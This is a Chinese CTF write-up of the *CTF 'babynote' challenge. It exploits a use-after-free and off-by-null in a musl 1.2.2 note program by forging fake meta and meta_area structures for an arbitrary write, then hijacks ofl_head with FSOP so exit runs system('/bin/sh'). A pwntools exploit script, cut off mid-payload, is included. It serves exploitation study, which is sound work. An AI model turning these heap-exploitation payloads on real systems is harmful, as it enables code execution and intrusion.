# starctf babynote musl1.2.2
# 环境以及保护
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ file babynote | |
babynote: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped | |
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ checksec --file=babynote | |
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE | |
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 babynote | |
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ ./libc.so | |
musl libc (x86_64) | |
Version 1.2.2 | |
Dynamic Program Loader | |
Usage: ./libc.so [options] [--] pathname [args] | |
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ |
第一次做 musl 的题目,有点迷茫。一边查资料一边摸着做。比赛的时候没有任何的突破。
# 探索的过程
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ ./libc.so babynote | |
_/ _/ _/ _/_/_/ _/_/_/_/_/ _/_/_/_/ | |
_/_/_/ _/ _/ _/ | |
_/_/_/_/_/ _/ _/ _/_/_/ | |
_/_/_/ _/ _/ _/ | |
_/ _/ _/ _/_/_/ _/ _/ | |
--------menu------- | |
1: add a note | |
2: find a note | |
3: delete a note | |
4: forget all notes | |
5: exit | |
option: |
发现并没有 edit 的功能。
反汇编以后,对于结构体的认知。
00000000 babynote struc ; (sizeof=0x28, mappedto_6) | |
00000000 name dq ? | |
00000008 note dq ? | |
00000010 name_size dq ? | |
00000018 note_size dq ? | |
00000020 next dq ? | |
00000028 babynote ends |
存在一个全局数组,储存了 abbynote 的指针,形成一个单链表。采用头插法进行添加。
# add
int add() | |
{ | |
babynote *ptr; // [rsp+8h] [rbp-8h] | |
ptr = (babynote *)calloc(1uLL, 0x28uLL); | |
ptr->name_size = addname(&ptr->name); | |
ptr->note_size = addnote(&ptr->note); | |
ptr->next = (__int64)list; | |
list = (babynote **)ptr; | |
return puts("ok"); | |
} | |
/*--------------------------------------------------------*/ | |
__int64 __fastcall addname(__int64 *ptr) | |
{ | |
size_t size; // [rsp+18h] [rbp-8h] | |
printf("name size: "); | |
size = getnum(); | |
*ptr = (__int64)calloc(1uLL, size); //calloc 清空数据 | |
printf("name: "); | |
return (int)readnode(*ptr, size); | |
} | |
unsigned __int64 __fastcall readnode(__int64 a1, unsigned __int64 a2) | |
{ | |
char buf; // [rsp+13h] [rbp-Dh] BYREF | |
unsigned int i; // [rsp+14h] [rbp-Ch] | |
unsigned __int64 v5; // [rsp+18h] [rbp-8h] | |
v5 = __readfsqword(0x28u); | |
for ( i = 0; a2 > (int)i; ++i ) | |
{ | |
if ( read(0, &buf, 1uLL) != 1 ) | |
return i; | |
*(_BYTE *)(a1 + (int)i) = buf; | |
if ( buf == '\n' ) // 一字节 \x00 溢出 | |
{ | |
*(_BYTE *)((int)i + a1) = 0; | |
return i; | |
} | |
} | |
return a2; | |
} | |
/*--------------------------------------------------------*/ | |
__int64 __fastcall addnote(void *a1) | |
{ | |
size_t size; // [rsp+18h] [rbp-8h] | |
printf("note size: "); | |
size = getnum(); | |
*(_QWORD *)a1 = calloc(1uLL, size); | |
printf("note content: "); | |
return (int)readnode(*(_QWORD *)a1, size); | |
} |
add 添加时,ida 分析的结果并不准确,这里永远存在一字节的空溢出。
后来根据网上查到的学习资料。由于 musl 的堆管理比较简单,这个空溢出可以用来修改 chunk 的 idx 位,伪造 meta。
后面再说。
# find
find 会创建一个 name 的 chunk, 然后根据 size 以及 list 保留的 size,cmp,最后比较字符串。如果相同就返回第一个找到的符合要求的 babynote 指针。
unsigned __int64 find() | |
{ | |
void *ptr; // [rsp+0h] [rbp-20h] BYREF | |
size_t size; // [rsp+8h] [rbp-18h] | |
babynote *v3; // [rsp+10h] [rbp-10h] | |
unsigned __int64 v4; // [rsp+18h] [rbp-8h] | |
v4 = __readfsqword(0x28u); | |
ptr = 0LL; | |
size = addname(&ptr); | |
v3 = cmp(ptr, size); // 确认数据 | |
if ( v3 ) | |
info(v3->note, v3->note_size); | |
else | |
puts("oops....."); | |
free(ptr); | |
return __readfsqword(0x28u) ^ v4; | |
} | |
// 输出 babynote 的信息 | |
int __fastcall info(char *a1, unsigned __int64 a2) | |
{ | |
int i; // [rsp+1Ch] [rbp-4h] | |
printf("%#lx:", a2); | |
for ( i = 0; a2 > i; ++i ) | |
printf("%02x", a1[i]); | |
return puts(&s); | |
} |
输出的信息也会收到 size 的限制。当时我有看到一个点,就是 i 是有符号的,而 a2 无符号。但是貌似没有什么价值。最后 free 那个临时创建的 chunk.
# delete
unsigned __int64 delete() | |
{ | |
babynote *v1; // [rsp+8h] [rbp-28h] BYREF | |
babynote **i; // [rsp+10h] [rbp-20h] | |
size_t size; // [rsp+18h] [rbp-18h] | |
babynote *ptr; // [rsp+20h] [rbp-10h] | |
unsigned __int64 v5; // [rsp+28h] [rbp-8h] | |
v5 = __readfsqword(0x28u); | |
v1 = 0LL; | |
size = addname(&v1); | |
ptr = cmp(v1, size); /// 删除某个特定的 | |
if ( ptr ) | |
{ | |
if ( ptr != list || list->next ) | |
{ | |
if ( ptr->next ) | |
{ | |
for ( i = &list; ptr != *i; i = &(*i)->next ) | |
; | |
*i = ptr->next; | |
} // 解链表 | |
} | |
else | |
{ | |
list = 0LL; // 删除头指针,就清空了所有 | |
} | |
free(ptr->name); | |
free(ptr->note); // 释放 note | |
free(ptr); | |
puts("ok"); | |
} | |
else | |
{ | |
puts("oops....."); | |
} | |
free(v1); // 删除临时结构体 | |
return __readfsqword(0x28u) ^ v5; | |
} |
删除 note 的时候,会遍历链表,找到对应的指针后,会 set 对应结构的 next 指针。p->next = p->next->next. 但是如果 ptr 是尾指针,就不会进行 set. 存在 UAF
# 利用
delete 最后一个,只会 free 对应的堆块,但是倒数第二个 babynote 的 next 没有 reset, 所以就存在了 uaf. 但是 musl 的堆块释放后并不会进入 bins。只有 meta 的所有 avail_maks 都被释放后才会将 meta 释放,并把 meta 放入双链表,dequeue(所以 meta free 后是)
程序的了漏洞在于 delete 时存在的 UAF, 如果我们将其释放后,并对其 note 进行 reuse, 而且用作 babbynote, 就会在 slot 上储存 3 个指针,导致 heapaddr 泄露。但是这里需要布置对的结构。
<u>musl 的堆比较特殊,meta 页是按照顺序申请的,而且与 group 页隔离。当同一个 size 的 meta 分配满之后,如果继续申请,会使用 avail_meta 保留的一个 meta 地址,当然这了 meta 是全新的。而且,一旦申请后,malloc_context active 数组对应位置就会保留正在分配的 meta. 同时会将这两个 meta 的 prev next 设置,形成双链表。如果其中一个 meta 满无法分配,或者被 free,就会解开连表。full_meta 的 prev 和 next 被清零。</u>
# 泄露 libc
回到题目,这里我们可以泄露 group 组的地址,slot 地址是在 libc 的基础上得到的,所以泄露出 heap 的用户区地址就可以得到里 libc 地址。
我们利用堆风水,将链表的最后一个 bebynote 释放,存在 uaf,然后通过构造,拿到他的 note slot 作为一个新的 babynote, 这杨这里就储存了 heapd 的地址,然后泄露。
add(b'a',b'a') | |
add(b'b'*0x28,b'b'*0x28) | |
add(b'b'*0x28,b'b'*0x28)#slot full size is 0x2c | |
add(b'c'*0x28,b'c'*0x50)#slot full size is 0x6c | |
free(b'a') #free the first note,the meta(0xc)is freed, | |
clean() #now meta(0x2c) has one no use,and 1 freed,meta(0xc) heav 3 freed | |
add(b'a',b'a'*0x28) #we alloc the last slot in meta(0x2c) for abynote, | |
#.Reuse the 0 solt in meta(0xc) (malloc from bins), | |
#then reuse the free slot in meta(0x2c) | |
add(b'b',b'b') #malloc a slot(0x2c) in a new meta2(0x2c,and malloc 2 slot(0xc) in meta(0xc) | |
free(b'a') #malloc a new slot(0xc),in meta(0xc),then free babynote a,then meta1(0x2c) will have 2 freed slot | |
add(b'c'*0x28,b'c'*0x28)#malloc 3slot from meta2(0x2c),so meta1(0x2c),have 2 freed slot | |
add(b'd'*0x28,b'd'*0x28)# | |
add(b'e'*0x28,b'e'*0x28)#fill up meta2(0x2c) | |
add(b'f',b'f'*0x50) #malloc a baby note from meta1(0x2c),meta1(0x2c) still have one freed, | |
find(b'a') | |
r.recvuntil("0x28:") | |
ss = b'\x00'*0 | |
for i in range(6): | |
ss = r.recv(2)+ss | |
ss = b'0x'+ss | |
print(ss) | |
libcbase = int(ss,16) - 0x29fdf0 | |
stdout = libcbase + 0x2a0e00 | |
system = libcbase + libc.sym['system'] | |
__malloc_context = 0x2a1aa0+libcbase | |
print("libcbase : ",hex(libcbase)) | |
print("system : ",hex(system)) | |
print("stdout : ",hex(stdout)) |
# 泄露其他地址(meta)
这里,meta1 (0x2c) 还有一个 freed slot ,我们其实就是通过这个泄露的 heap。find 一个很重要的点就是,会 addname. 而且就算查不到也不出错,然后再将其释放,所以我们可以由此来重复利用这个 freed slot。find 的时候,这要 size 合适,就会将它返回给我们,然后在里面写入数据。并释放。之前我们说过,这里可以泄露 heap 地址,是因为他是我们 list 的最后一个 banynote,delete 后上一个 babynote 的 next 指针依旧指向这个 slot,所以导致泄露。
所以我们可以进行任意地址读。将__malloc_context 的地址写在 note 的位置,就可以泄露,同时我们还可以改变 notesize, 控制泄露的长度。
由于 musl 的堆管理机制,虽然与 glibc 完全不一样,但是感觉通过代码分析是更容易的。
# 任意地址写
musl 的任意地址写与 glibc 的 unlink 核心想法一致,只不过是前面的检查方式不一样。我们一步步来分析。
首先 musl 的堆块不会进入 bins,只有 meta 被释放的时候,才会加入 freed_meta 双链表。当 meta 分配出去的 slot 全部被释放的时候,meta 会被释放。
# meta 的 结构
meta 结构一共占用 40bytes
pwndbg> p *(struct meta*)0x55555730d4f0 | |
$3 = { | |
prev = 0x55555730d4f0, | |
next = 0x55555730d4f0, | |
mem = 0x7f6431216c30, | |
avail_mask = 262, | |
freed_mask = 0, | |
last_idx = 9, | |
freeable = 1, | |
sizeclass = 2, | |
maplen = 0 | |
} | |
/* | |
pwndbg> x/8gx 0x55555730d4f0 | |
0x55555730d4f0: 0x000055555730d4f0 0x000055555730d4f0 | |
0x55555730d500: 0x00007f6431216c30 0x0000000000000106 | |
0x55555730d510: 0x00000000000000a9 | |
*/ |
prev 与 next 分别指向上一个或者下一个 meta(meta 在 freed_meta 链表中)。mem 指向管理 meta 的 group,而 group 又包含的一下简单信息
pwndbg> p *(struct group*)0x55555730d4f0 | |
$2 = { | |
meta = 0x55555730d4f0, | |
active_idx = 16 '\020', | |
pad = "\324\060WUU\000", | |
storage = 0x55555730d500 "0l!1d\177" | |
} |
其中很多信息我们不需要管信息,只要知道用户的使用的 slot 数据在 storage 里面。这里提一下,group 其实也可以看作是一个 slot,被另一个 “meta” 管理,这里提到这个是因为,free meta 的时候,除了会释放对应的 slot,还要释放对应的 group。slot 的储存结构也比较有意思,他并不会像 glibc 的 chunk 那样保留过多的本 slot 信息,只会用四字节来保留 slot 与 meta 的关系。
1 这里是用户使用的区域,2 是 group 的信息,包括 meta
pwndbg> p *(struct group*)0x7f6431216c30 | |
$4 = { | |
meta = 0x55555730d4f0, | |
active_idx = 9 '\t', | |
pad = "\000\000\000\000\200\000", | |
storage = 0x7f6431216c40 "" | |
} |
然后,3 这,他也只想一个地址,这里你也是一个 meta,与后面 group 的 free 有关。
slot 的堆头会保留与 base 的偏移,以及 slot 在 group 组的编号,通过偏移找到 base,也就是 group 的地址。
下面我们来说检查,要想把 fake_meta 释放掉,要保证 meta 只有一个 freeadble, 可以是只有 1 个 slot,也可以是其他状况,因为这个会涉及 meta 的 avail_mask 以及 freed_mask,我建议是把 freed_mask 写成 0,这样在 free 函数里的一个循环时,直接跳出,减少工作量。
// atomic free without locking if this is neither first or last slot | |
for (;;) { | |
uint32_t freed = g->freed_mask; | |
uint32_t avail = g->avail_mask; | |
uint32_t mask = freed | avail; | |
assert(!(mask&self)); | |
if (!freed || mask+self==all) break; | |
if (!MT) | |
g->freed_mask = freed+self; | |
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed) | |
continue; | |
return; | |
} |
上面提到的根据用户指针找到对应的 meta,在 free 函数里被封装在 get_meta () 函数里,这里也是我们的第一个检查。
static inline struct meta *get_meta(const unsigned char *p) | |
{ | |
assert(!((uintptr_t)p & 15)); | |
int offset = *(const uint16_t *)(p - 2); | |
int index = get_slot_index(p); | |
if (p[-4]) { | |
assert(!offset); | |
offset = *(uint32_t *)(p - 8); | |
assert(offset > 0xffff); | |
} | |
const struct group *base = (const void *)(p - UNIT*offset - UNIT); //UNIT = 16 | |
const struct meta *meta = base->meta; | |
assert(meta->mem == base); | |
assert(index <= meta->last_idx); | |
assert(!(meta->avail_mask & (1u<<index))); | |
assert(!(meta->freed_mask & (1u<<index))); | |
const struct meta_area *area = (void *)((uintptr_t)meta & -4096); | |
assert(area->check == ctx.secret); | |
if (meta->sizeclass < 48) { | |
assert(offset >= size_classes[meta->sizeclass]*index); | |
assert(offset < size_classes[meta->sizeclass]*(index+1)); | |
} else { | |
assert(meta->sizeclass == 63); | |
} | |
if (meta->maplen) { | |
assert(offset <= meta->maplen*4096UL/UNIT - 1); | |
} | |
return (struct meta *)meta; | |
} |
一些 offset,idx 的设置其实有相关的计算方式,但是为了方便,我们伪造的之前,可以把利用程序做一个真实的对布局,然后直接把 group,meta 的结构体中的使用位的参数复制出来。这样就可以很方便的跳过检查。我们将 fake 伪造在一个大的堆块上,fake 会根据 const struct meta *meta = base->meta; 来查询到,下面我们还要伪造一个 meta_area 结构体,这个结构体保留了__malloc_context 的 secret,然后这个 area 是 0x1000 字节对齐的,const struct meta_area *area = (void *)((uintptr_t) meta & -4096);,这个跟我们的 fake_meta 的地址是相关联的,所以我们需要在一个 0x1000 字节对齐的地方布置一个 fake_meta_area, 主要就是把 secret 写进去,绕过检查。这里并不会检查 meta 的 prev 以及 next 是否合法,所以这里有一个任意地址的写。把 prev 地址 + 8 写为 next 的值。释放 slot 的检查基本就结束,因为我们伪造的 slot 的头,以及 fake_meta 都是真实的样子,然后还有一个关键的检查是在 dequeue (unlink) 之后 free_group,这里会将 group 指针作为一个 slot 指针,进行 free。
static struct mapinfo nontrivial_free(struct meta *g, int i) | |
{ | |
uint32_t self = 1u<<i; | |
int sc = g->sizeclass; | |
uint32_t mask = g->freed_mask | g->avail_mask; | |
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) { | |
// any multi-slot group is necessarily on an active list | |
// here, but single-slot groups might or might not be. | |
if (g->next) { | |
assert(sc < 48); | |
int activate_new = (ctx.active[sc]==g); | |
dequeue(&ctx.active[sc], g); // 任意地址写 | |
if (activate_new && ctx.active[sc]) | |
activate_group(ctx.active[sc]); | |
} | |
return free_group(g); | |
} else if (!mask) { | |
assert(sc < 48); | |
// might still be active if there were no allocations | |
// after last available slot was taken. | |
if (ctx.active[sc] != g) { | |
queue(&ctx.active[sc], g); | |
} | |
} | |
static inline void dequeue(struct meta **phead, struct meta *m) //unlink the meta | |
{ | |
if (m->next != m) { //meta is freed | |
m->prev->next = m->next; | |
m->next->prev = m->prev; | |
if (*phead == m) *phead = m->next; | |
} else { | |
*phead = 0; | |
} | |
m->prev = m->next = 0; | |
} |
就是我们上面图片的 3 号位置。这个是 group 对应的 meta, 这里利用同样的手段伪造一个 fake_meta_area 以及一个 meta, 只需要在另外一个 0x1000 字节对齐的空间布置下 secret,后面布置 fake_meta2 就可以了。因为这里的检查也主要是 get_meta (). 最后 free_meta ()
static inline void free_meta(struct meta *m) | |
{ | |
*m = (struct meta){0}; | |
queue(&ctx.free_meta_head, m); | |
} | |
static inline void queue(struct meta **phead, struct meta *m) | |
//inser m in the front of queue,but it will not change the phead ptr | |
{ | |
assert(!m->next); | |
assert(!m->prev); | |
if (*phead) { | |
struct meta *head = *phead; | |
m->next = head; | |
m->prev = head->prev; | |
m->next->prev = m->prev->next = m; | |
} else { | |
m->prev = m->next = m; | |
*phead = m; | |
} | |
} |
没有什么其他检查。
# 利用
回到题目,我们利用 UAF,
add(b'g'*0x28,b'g'*0x28) | |
add(b'h'*0x28,b'h'*0x28) | |
fakebabynote = p64( 0x29fdd0 +libcbase)+p64(fakemeta_addr+0x50)+p64(1)+p64(0x28)+p64(0) | |
add(b'i',fakebabynote) | |
free(b'g'*0x28) | |
gdb.attach(r) | |
add(p64(0x29bd00+libcbase)*2+p64(0x8)+p64(0x8)+p64(libcbase+0x29bd90),fake_meta.ljust(0x2000,b'\x00')) | |
free(b'b') |
group 里的第一个 slot 开始被用作存放 banynote1,next 指针指向 0,babynotelist 头插法之后删掉第一个创建的 babynote,然后堆风水将 slot0(原本作为 babynote)作为 name 或者 note 堆块,可以写入数据,但是因为存在 uaf, 虽然 slot0 作为链表头的 name 或者 note, 但是依旧可以链表的遍历将他看成一个节点,我们还可以将其 next 指针写为我们 kafechunk 的地址,这个 fakechunk 其实是一个 babynote 的 name 或者 note,只是伪造成了 bebynote 的布局,对应 note 之指针指向我们布局好的 fakeslot
pwndbg> x/64gx 0x7f22b639fc30 | |
0x7f22b639fc30: 0x00005555569254f0 0x0000ff0000000009 | |
0x7f22b639fc40: 0x00007f22b639fc70 0x00007f22b639fca0 | |
0x7f22b639fc50: 0x0000000000000028 0x0000000000000028 | |
0x7f22b639fc60: 0x0000000000000000 0x0000ff0000000000 // 下一次申请,这里会被改写 | |
0x7f22b639fc70: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fc80: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fc90: 0x6767676767676767 0x0000ff0000000000 | |
0x7f22b639fca0: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fcb0: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fcc0: 0x6767676767676767 0x0009830000000000 | |
0x7f22b639fcd0: 0x00007f22b639fd00 0x00007f22b639fd30 | |
0x7f22b639fce0: 0x0000000000000028 0x0000000000000028 | |
0x7f22b639fcf0: 0x00007f22b639fc40 0x000c840000000000 | |
0x7f22b639fd00: 0x6868686868686868 0x6868686868686868 | |
0x7f22b639fd10: 0x6868686868686868 0x6868686868686868 | |
0x7f22b639fd20: 0x6868686868686868 0x000f850000000000 | |
0x7f22b639fd30: 0x6868686868686868 0x6868686868686868 | |
0x7f22b639fd40: 0x6868686868686868 0x6868686868686868 | |
0x7f22b639fd50: 0x6868686868686868 0x0012860000000000 | |
0x7f22b639fd60: 0x00007f22b63a3e20 0x00007f22b639fd90//fakebabynote 的地址 | |
0x7f22b639fd70: 0x0000000000000001 0x0000000000000028 | |
0x7f22b639fd80: 0x00007f22b639fcd0 0x0015870000000000 | |
0x7f22b639fd90: 0x00007f22b63a3dd0 0x00007f22b6395070 //fakebabynote,0x00007f22b6395070 指向我们伪造的 slot | |
0x7f22b639fda0: 0x0000000000000001 0x0000000000000028 | |
0x7f22b639fdb0: 0x0000000000000000 0x0000ff0000000000 | |
0x7f22b639fdc0: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fdd0: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fde0: 0x6767676767676767 0x0000000000000000 | |
0x7f22b639fdf0: 0x0000000000000000 0x0000000000000000 | |
0x7f22b639fe00: 0x0000000000000000 0x0000000000000000 | |
0x7f22b639fe10: 0x0000000000000000 0x0000000000000000 | |
0x7f22b639fe20: 0x0000555556925090 0x0000ff0000000000 |
我们把 slot 申请成为 name 后
pwndbg> x/64gx 0x7f22b639fc30 | |
0x7f22b639fc30: 0x00005555569254f0 0x0000800000000009 | |
0x7f22b639fc40: 0x00007f22b639fd00 0x00007f22b639fd00 | |
0x7f22b639fc50: 0x0000000000000008 0x0000000000000008 | |
0x7f22b639fc60: 0x00007f22b639fd90 0x0000ff0000000000 | |
0x7f22b639fc70: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fc80: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fc90: 0x6767676767676767 0x0000ff0000000000 | |
0x7f22b639fca0: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fcb0: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fcc0: 0x6767676767676767 0x0009830000000000 | |
0x7f22b639fcd0: 0x00007f22b639fd00 0x00007f22b639fd30 | |
0x7f22b639fce0: 0x0000000000000028 0x0000000000000028 | |
0x7f22b639fcf0: 0x00007f22b639fc40 0x000c840000000000 | |
0x7f22b639fd00: 0x6868686868686868 0x6868686868686868 | |
0x7f22b639fd10: 0x6868686868686868 0x6868686868686868 | |
0x7f22b639fd20: 0x6868686868686868 0x000f850000000000 | |
0x7f22b639fd30: 0x6868686868686868 0x6868686868686868 | |
0x7f22b639fd40: 0x6868686868686868 0x6868686868686868 | |
0x7f22b639fd50: 0x6868686868686868 0x0012860000000000 | |
0x7f22b639fd60: 0x00007f22b63a3e20 0x00007f22b639fd90 | |
0x7f22b639fd70: 0x0000000000000001 0x0000000000000028 | |
0x7f22b639fd80: 0x00007f22b639fcd0 0x0015870000000000 | |
0x7f22b639fd90: 0x00007f22b63a3dd0 0x00007f22b6395070 | |
0x7f22b639fda0: 0x0000000000000001 0x0000000000000028 | |
0x7f22b639fdb0: 0x0000000000000000 0x0000ff0000000000 | |
0x7f22b639fdc0: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fdd0: 0x6767676767676767 0x6767676767676767 | |
0x7f22b639fde0: 0x6767676767676767 0x001b890000000000 | |
0x7f22b639fdf0: 0x00007f22b639fc40 0x00007f22b6394020 //babynotelist 的头指针, | |
0x7f22b639fe00: 0x0000000000000028 0x0000000000002030 | |
0x7f22b639fe10: 0x00007f22b639fd60 0x0000000000000000 | |
0x7f22b639fe20: 0x0000555556925090 0x0000ff0000000000 |
可以看到我们可以通过 b'b'(0x00007f22b63a3dd0 的数据是‘b’) 找到我们的 fake_babynote, 然后释放掉 0x00007f22b6395070 这个伪 slot
pwndbg> x/18gx 0x00007f22b6395070-0x60 | |
0x7f22b6395010: 0x0000000000000000 0x0000000000000000 | |
0x7f22b6395020: 0x00007f22b63a7e20 0x00007f22b63a2e20 | |
0x7f22b6395030: 0x00007f22b6395060 0x00000000000003fe | |
0x7f22b6395040: 0x00000000000000a9 0x0000000000000000 | |
0x7f22b6395050: 0x00007f22b6396020 0x0000c00000000000 | |
0x7f22b6395060: 0x00007f22b6395020 0x0000800000000009 // 伪造的 slot 堆头 | |
0x7f22b6395070: 0x4141414141414141 0x0000000000000000 | |
0x7f22b6395080: 0x0000000000000000 0x0000000000000000 | |
0x7f22b6395090: 0x0000000000000000 0x0000000000000000 |
0x7f22b6395060 这个地址就是伪造的 group 的 base 地址,对应的数据就是伪造的 meta 地址
0x00007f22b63a7e20 这里就是我们的目标地址 - 8,0x00007f22b63a2e20 这个地址是我们下一个申请出来的 slot 的真实地址(申请 0x50)mem==base,
下面是伪造的 fake_meta1 以及对应的 fake_meta_area1
最后是 free_group 时的伪造的 fake_meta2 和 fake_meta_area
# FSOP
我们任意地址写的,是 ofl_head,类似于 glibc 的 ——IO__lisl_all, 只不过则合理一般情况下是空的,利用在于 exit 函数
_Noreturn void exit(int code) | |
{ | |
__funcs_on_exit(); | |
__libc_exit_fini(); | |
__stdio_exit(); | |
_Exit(code); | |
} | |
void __stdio_exit(void) | |
{ | |
FILE *f; | |
for (f=*__ofl_lock(); f; f=f->next) close_file(f); | |
close_file(__stdin_used); | |
close_file(__stdout_used); | |
close_file(__stderr_used); | |
} | |
FILE **__ofl_lock() | |
{ | |
LOCK(ofl_lock); | |
return &ofl_head; | |
} | |
static void close_file(FILE *f) | |
{ | |
if (!f) return; | |
FFINALLOCK(f); | |
if (f->wpos != f->wbase) f->write(f, 0, 0); | |
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR); | |
} |
我们把 ofl_head 改成我们可以控制的 slot 的地址,就在那里伪造一个 stdout,if (f->wpos != f->wbase) f->write (f, 0, 0); 并满足这里的条件(wpos!=wbase)write 改策划给你 system, 而且会把 fd 作为参数,fd 就是就会指向 flags, 把他写位‘/bin/sh\x00'
正常的 stdout
pwndbg> p *stdout | |
$21 = { | |
flags = 69, | |
rpos = 0x0, | |
rend = 0x0, | |
close = 0x7f22b61557e5 <__stdio_close>, | |
wend = 0x0, | |
wpos = 0x0, | |
mustbezero_1 = 0x0, | |
wbase = 0x0, | |
read = 0x0, | |
write = 0x7f22b615598e <__stdio_write>, | |
seek = 0x7f22b615597d <__stdio_seek>, | |
buf = 0x7f22b63a6708 <buf+8> "", | |
buf_size = 0, | |
prev = 0x0, | |
next = 0x0, | |
fd = 1, | |
pipe_pid = 0, | |
lockcount = 0, | |
mode = -1, | |
lock = -1, | |
lbf = -1, | |
cookie = 0x0, | |
off = 0, | |
getln_buf = 0x0, | |
mustbezero_2 = 0x0, | |
shend = 0x0, | |
shlim = 0, | |
shcnt = 0, | |
prev_locked = 0x0, | |
next_locked = 0x0, | |
locale = 0x0 | |
} |
下面是伪造的 stdout
pwndbg> p * (FILE * const)0x7fc49ff72e20 | |
$3 = { | |
flags = 1852400175, | |
rpos = 0x0, | |
rend = 0x0, | |
close = 0x0, | |
wend = 0x0, | |
wpos = 0x0, | |
mustbezero_1 = 0x0, | |
wbase = 0x1 <error: Cannot access memory at address 0x1>, | |
read = 0x1, | |
write = 0x7fc49fd1b963 <system>, | |
seek = 0x7fc49fd1b963 <system>, | |
buf = 0x0, | |
buf_size = 0, | |
prev = 0x0, | |
next = 0x0, | |
fd = 0, | |
pipe_pid = 0, | |
lockcount = 0, | |
mode = 0, | |
lock = 0, | |
lbf = 0, | |
cookie = 0x0, | |
off = 0, | |
getln_buf = 0x0, | |
mustbezero_2 = 0x0, | |
shend = 0x0, | |
shlim = 0, | |
shcnt = 0, | |
prev_locked = 0x0, | |
next_locked = 0x0, | |
locale = 0x0 | |
} |
最后 exit 结束程序
# 完整 exp
部分注释可能错误
from pwn import * | |
context.log_level ='debug' | |
libc = ELF("./libc.so") | |
r=process(["./libc.so",'./babynote']) | |
elf = ELF('./babynote') | |
puts_got = elf.got['puts'] | |
def get8(): | |
ret = b'a'*0 | |
for i in range(8): | |
ret = r.recv(2)+ret | |
ret = b'0x'+ret | |
return int(ret,16) | |
def get4(): | |
ret = b'a'*0 | |
for i in range(4): | |
ret = r.recv(2)+ret | |
ret = b'0x'+ret | |
return int(ret,16) | |
def ch(i): | |
r.sendlineafter("option:",str(i)) | |
def add(name,text): | |
ch(1) | |
r.sendlineafter("name size:",str(len(name))) | |
r.sendafter("name",name) | |
r.sendlineafter("size",str(len(text))) | |
r.sendafter("content",text) | |
def find(name): | |
ch(2) | |
r.sendlineafter("name size:",str(len(name))) | |
r.sendafter("name",name) | |
def free(name): | |
ch(3) | |
r.sendlineafter("name size:",str(len(name))) | |
r.sendafter("name",name) | |
def clean(): #only set list=0 | |
ch(4) | |
gdb.attach(r,'b malloc') | |
add(b'a',b'a') | |
add(b'b'*0x28,b'b'*0x28) | |
add(b'b'*0x28,b'b'*0x28)#slot full size is 0x2c | |
add(b'c'*0x28,b'c'*0x50)#slot full size is 0x6c | |
free(b'a') #free the first note,the meta(0xc)is freed, | |
clean() #now meta(0x2c) has one no use,and 1 freed,meta(0xc) heav 3 freed | |
add(b'a',b'a'*0x28) #we alloc the last slot in meta(0x2c) for abynote, | |
#.Reuse the 0 solt in meta(0xc) (malloc from bins), | |
#then reuse the free slot in meta(0x2c) | |
add(b'b',b'b') #malloc a slot(0x2c) in a new meta2(0x2c,and malloc 2 slot(0xc) in meta(0xc) | |
free(b'a') #malloc a new slot(0xc),in meta(0xc),then free babynote a,then meta1(0x2c) will have 2 freed slot | |
add(b'c'*0x28,b'c'*0x28)#malloc 3slot from meta2(0x2c),so meta1(0x2c),have 2 freed slot | |
add(b'd'*0x28,b'd'*0x28)# | |
add(b'e'*0x28,b'e'*0x28)#fill up meta2(0x2c) | |
add(b'f',b'f'*0x50) #malloc a baby note from meta1(0x2c),meta1(0x2c) still have one freed, | |
find(b'a') | |
r.recvuntil("0x28:") | |
ss = b'\x00'*0 | |
for i in range(6): | |
ss = r.recv(2)+ss | |
ss = b'0x'+ss | |
print(ss) | |
heap_addr = int(ss,16) | |
libcbase = heap_addr- 0x29fdf0 | |
stdout = libcbase + 0x2a0e00 | |
system = libcbase + libc.sym['system'] | |
__malloc_context = 0x2a1aa0+libcbase | |
ofl_head = libcbase+ 0x2a3e28 | |
fake_stdout_addr = libcbase+0x29ee20 #we can malloc0x50 to get | |
print("libcbase : ",hex(libcbase)) | |
print("system : ",hex(system)) | |
print("stdout : ",hex(stdout)) | |
#here we can leak anywhere | |
pad = p64(libcbase+0x29fdb0)+p64(__malloc_context)+p64(1)+p64(0x420)+p64(0) | |
find(pad) | |
find(b'a') | |
#leak __malloc_context to get meta addr | |
r.recvuntil(b"0x420:") | |
secret =get8() | |
r.recv(16) | |
free_meta = get8() | |
avail_meta = get8() | |
for i in range(6): | |
get8() | |
active=list() | |
for i in range(48): | |
active.append(get8()) | |
meta_base = active[0]-0x28 | |
add(b'Z'*0x100,b'Z'*0x100) #fill up the old meta to create new meta3(0x2c) | |
clean() | |
fakemeta_addr = 0x291020+libcbase | |
fake_meta =b'\x00'*(4064)+p64(secret)+p64(0)*3 | |
fake_meta += p64(ofl_head-0x8)+p64(fake_stdout_addr) #fakemta1 | |
fake_meta +=p64(fakemeta_addr+0x40)+p64(0x3fe)+p64(0xa9)+p64(0) | |
fake_meta +=p64(fakemeta_addr+0x1000)+p64(0x0000c00000000000) | |
fake_meta +=p64(fakemeta_addr)+p64(0x0000800000000009) | |
fake_meta +=b"AAAAAAAA" | |
fake_meta = fake_meta.ljust((0x2000-0x20),b'\x00') | |
fake_meta +=p64(secret)+p64(0)*3 #fake_area1 | |
